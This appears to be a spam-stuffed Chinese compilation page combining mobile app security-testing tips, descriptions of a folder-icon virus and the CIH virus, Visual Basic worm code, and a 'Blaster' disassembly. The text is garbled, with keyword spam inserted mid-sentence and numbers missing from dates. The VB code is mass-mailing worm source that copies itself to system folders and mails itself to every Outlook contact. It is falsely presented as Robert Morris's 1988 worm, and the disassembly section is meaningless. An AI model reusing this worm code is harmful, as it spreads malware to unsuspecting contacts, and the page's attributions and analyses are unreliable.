1.APP测试练手笔记（1）代码保护与应用配置
2.文件夹图标病毒病毒源代码
3.二十年重回首——CIH病毒源码分析
4.1988年RobertMorris释放的病a病症首个蠕虫病毒的源代码
5.冲击波病毒病毒反汇编源码
6.流氓软件和病毒软件的区别。

APP测试练手笔记（1）代码保护与应用配置

       深入探讨移动应用安全测试的源码关键步骤与关注点，以确保用户的软件隐私与数据安全。当前，病a病症移动应用的源码普及使得我们的日常活动与之紧密相连，从约会到支付，软件福鼎白茶之前的没有溯源码一个应用往往承载着大量的病a病症用户数据。因此，源码评估应用的软件安全性变得至关重要。本文旨在提供一个清晰的病a病症框架，指导如何在移动应用中进行安全测试，源码以识别潜在的软件安全漏洞并采取相应的预防措施。

       移动应用安全测试关注点包括敏感数据暴露、病a病症鉴权机制缺陷、源码钓鱼劫持风险、软件代码层面保护不足、应用配置错误、XcodeGhost病毒以及开发者证书不规范等问题。这些关注点构成了一个全面的安全测试流程，帮助开发者识别并修复潜在的安全隐患。

       ### 代码与应用配置方面的问题

       代码保护不足，可重新编译打包：通过使用ApkTool进行反编译，修改源代码，重新编译和签名，来测试应用的mathgl 源码编译完整性。若发现可以注入恶意代码或绕过鉴权，应修改程序安装后 classes.dex 文件的 Hash 值，以判断软件是否被重新打包并进行提示。

       allowbackup权限数据泄露风险：检查AndroidManifest.xml文件中allowBackup属性是否设置为true，若存在，可能导致数据泄露。建议将android:allowBackup属性设置为false，防止数据泄漏。

       Debuggable属性应用信息篡改泄露风险：检查Debuggable属性是否设置为true，允许设置断点控制程序执行。若开启，应关闭此属性以防止应用信息被篡改。

       信任所有证书漏洞：检查SDK是否存在安全问题，如直接选择信任所有证书，可能导致中间人攻击和劫持。应升级SDK或使用SSLSocketFactory.STRICT_HOSTNAME_VERIFIER进行验证。

       开发者证书规范测试：确保证书满足规范性要求，检查是否过期。使用JEB CA查看页面或java JDK自带的keytool工具进行验证。

       ### 应用配置错误

       关键页面钓鱼劫持风险：确保敏感界面如登录、支付等是否受到钓鱼劫持保护，如提示用户等。在关键类的onpause中实现钓鱼劫持防护功能。

       ### WebView漏洞

       WebView接口函数addJavascriptInterface可能导致本地JS与Java交互漏洞，眼球追踪 源码需检查版本限制和过滤措施。对于Android 4.2及之后版本，使用@JavascriptInterface注解代替addjavascriptInterface。

       ### 不安全的本地存储

       检查Shared Preferences、SQLite数据库和SD卡目录，确保敏感数据经过加密处理，防止数据泄露。

       ### 边信道信息泄露

       通过日志文件分析，加密存储密码等敏感信息，并对敏感信息的缓存进行加密，防止通过边信道被攻击者利用。

       本文以诱导充钱的约炮APP为例，详细介绍了在代码保护与应用配置方面进行安全测试的关键步骤与关注点。通过实施上述测试流程，可以有效识别并修复移动应用中的安全漏洞，增强应用的安全性和用户信任度。

文件夹图标病毒病毒源代码

       该代码片段定义了一个名为CVirousApp的类，其中包含OpenFuckFile函数，该函数的主要目的是在系统根目录下寻找并打开特定的文件（如应用程序名称加后缀）。如果文件不存在，函数将尝试创建一个，并通过调用explorer.exe执行。劫持文件的行为在check函数中实现，它会检查命令行参数，php 源码 暴露如果参数与特定的安全工具特征字符串匹配，将执行劫持操作，比如打开txt或exe文件时，可能会替换为notepad.exe或不做处理（取决于文件是否被标记为已损坏）。

       接着，代码展示了如何将程序副本复制到系统目录，通过修改注册表实现自启动，分别针对txt和exe文件。ReleaseDoor函数用于释放后门并隐藏自身，通过写入注册表将后门设置为开机启动，并在后台启动另一个名为SysService.exe的程序。

       最后，FuckFile函数遍历系统磁盘，查找并处理文件，对于找到的每个目录，会检查其内容并进行复制或执行特定操作，如隐藏和系统属性设置。

扩展资料

       文件夹图标病毒不是一个病毒，而是具有类似性质的病毒的统称，此类病毒会将真正的文件夹隐藏起来，并生成一个与文件夹同名的EXE文件，并使用文件夹的图标，使用户无法分辨，从而频繁感染，varnish源码分析一些用户的文件夹被隐藏影响正常的工作与学习。

二十年重回首——CIH病毒源码分析

       CIH病毒源码分析

       随着双十一的临近，我在考虑为自己的电脑添置一块NVME协议的固态硬盘。然而，我发现自己老款主板并不支持NVME协议。在探索解决方案时，我偶然回想起了CIH病毒，一款曾引起巨大破坏的古老病毒。出于好奇，我决定深入分析CIH源码，回顾那段历史，并分享分析过程与心得。

       CIH源码在GitHub上能找到，版本1.4。源码的编写者习惯良好，代码中包含了功能更新的时间和具体细节。时间线如下：

       1.0版于年4月日完成，基本功能实现，代码长度字节。

       1.1版于5月日完成，增加了操作系统判断，若为WinNT则不执行病毒，长度字节。

       1.2版于5月日，加入删除BIOS和破坏硬盘功能，长度字节。

       1.3版于5月日，修复了感染WinZIP自解压文件的错误，长度字节。

       1.4版于5月日，彻底修复错误，长度字节。

       CIH病毒于年7月日在美国大面积传播，8月日全球蔓延，引发公众恐慌。最终，病毒作者陈盈豪公开道歉，提供了解毒程序和防毒软件，病毒逐渐被控制。

       源码的第一部分是PE文件头，用于符合PE文件格式，确保Windows识别和执行。接下来，病毒开始运行，通过修改SEH（Structured Exception Handling）来识别操作系统类型。如果为WinNT或之后版本，病毒将自行产生异常并停止运行。

       病毒通过修改中断描述符表，获得Ring0权限。然而，在WinNT操作系统中，这种方法已失效。因此，修改SEH的目的是判断当前操作系统，以避免在非Win9x系统上感染。

       病毒在Win9x系统中，通过修改中断描述符表，将异常处理函数指向病毒自定义的MyExceptionHook。病毒利用此函数安装系统调用钩子，当执行文件操作时，会运行到病毒代码中。

       病毒在MyExceptionHook中，通过dr0寄存器记录病毒安装状态，分配系统内存，并将病毒代码复制到内存中。之后，病毒安装钩子，当有文件读写调用时，会执行病毒代码。

       当系统调用参数为关闭文件时，病毒进行时间判断，直到每月日，统一开始破坏BIOS和硬盘。破坏BIOS的方法包括映射BIOS内容、设置BIOS可写性。硬盘破坏则通过VXD驱动调用命令。

       综上所述，CIH病毒利用了Win9x系统的漏洞，通过修改SEH和中断描述符表进入内核，安装系统调用钩子，感染文件并在特定时间执行破坏操作。然而，其在WinNT及后续系统上的感染能力已失效。尽管如此，CIH病毒的源码和分析过程对了解历史和安全漏洞仍具有重要价值。

年RobertMorris释放的首个蠕虫病毒的源代码

       在年，Robert Morris释放了首个蠕虫病毒，其源代码的片段如下：

       ```vb

       Sub Main()

        'TaskVisible。App.TaskVisible = False

        On Error Resume Next

        Dim Location, Location2, DesLocation, DesLocation2

        Location = App.Path & "\" & App.EXEName & "肢扮.exe"

        Location2 = App.Path & App.EXEName & ".exe"

        DesLocation = "C:\WINDOWS\SYSTEM\WinMapi.exe"

        DesLocation2 = "C:\WINNT\SYSTEM\镇迟Mapi.exe"

        FileCopy Location, DesLocation

        FileCopy Location2, DesLocation

        FileCopy Location, DesLocation2

        FileCopy Location2, DesLocation2

        Dim Var1, FilePath, FileName, FullLocation, MyApp

        Dim Christmas, List, AddList, AddressListCount

        Dim Merry, AdEntries, Attachs, Msg

        Var1 = "True"

        FilePath = App.Path

        FileName = App.EXEName

        FullLocation = FilePath & "\" & FileName

        Set MyApp = CreateObject("Outlook.Application")

        If MyApp = "Outlook" Then

        Set Christmas = MyApp.GetNameSpace("mapi")

        Set List = Christmas.AddressLists

        For Each Addresslist In List

        If Addresslist.AddressEntries.Count > 0 Then

        AddressListCount = Addresslist.AddressEntries.Count

        For AddList = 1 To AddressListCount

        Set Merry = MyApp.CreateItem(0)

        Set AdEntries = Addresslist.AddressEntries(AddList)

        Merry.To = AdEntries.Address

        Merry.Subject = Merry.Body

        Set Attachs = Merry.Attachments

        Attachs.Add FullLocation

        If Var1 = "true" Then

        Merry.DeleteAfterSubmit = True

        End If

        If Msg.To > "" Then

        Merry.Send

        End If

        Next

        Beep

        End If

        Next

        End If

        Dim RegSet

        Set RegSet = CreateObject("wscript.shell")

        'reg.regwrite "HEKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\MAPI", "C:\WINNT\SYSTEM\MAPI.EXE"

        'reg.regwrite "HEKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\winMAPI", "C:\WINNT\SYSTEM\winMAPI.EXE"

       End Sub

       ```

       请注意，由于蠕虫病毒是恶意软件，其传播和操作可能导致严重的安全风险。这段代码仅供教育和研究目的，绝不应在实际环境中运行。

冲击波病毒病毒反汇编源码

       这部分代码是冲击波病毒的反汇编源码片段，它包含了多个指令和操作。首先，有两条指令（F6 and esi,esi 和 1AFC sbb bh,ah）对esi和esi以及bh和ah进行操作。接下来的（ DDDC xor eax,4DC9DD3）执行异或操作，改变eax的值。然后是pop edx，wait和cli指令，可能用于控制程序流程和中断处理。

       在后面的代码中，有mov ebp,FFD和mov dl,0C3等，用以设置内存地址和执行特定操作。cmps指令用于比较内存中的字节，push esp和inc/dec esi等操作用于数据处理。未知命令（E2 F4 loopd和C6?）可能代表未识别的循环指令。test al,7B和jpo等指令用于条件判断。

       最后，代码中包含了ret指令（C3），用于返回到上一层调用，以及一系列的内存操作，如lea edi,edi，mov ah,0D8，out dx,eax等，可能用于数据交换和输出。整体来看，这部分源码执行了一系列复杂的指令，用于执行病毒的特定功能，如数据比较、内存操作和控制流程。

扩展资料

       冲击波（Worm.Blaster）病毒是利用微软公司在7月日公布的RPC漏洞进行传播的，只要是计算机上有RPC服务并且没有打安全补丁的计算机都存在有RPC漏洞，具体涉及的操作系统是：Windows、XP、Server 。

流氓软件和病毒软件的区别。

       病毒软件会植入病毒攻击你的手机，轻则弄个玩笑，重则手机崩溃或资料被**。流氓软件就是一种恶意软件，无限叫你安装这，安装那，还有很多广告，要是想知道流氓软件有多烦，下个**片播放器你就知道了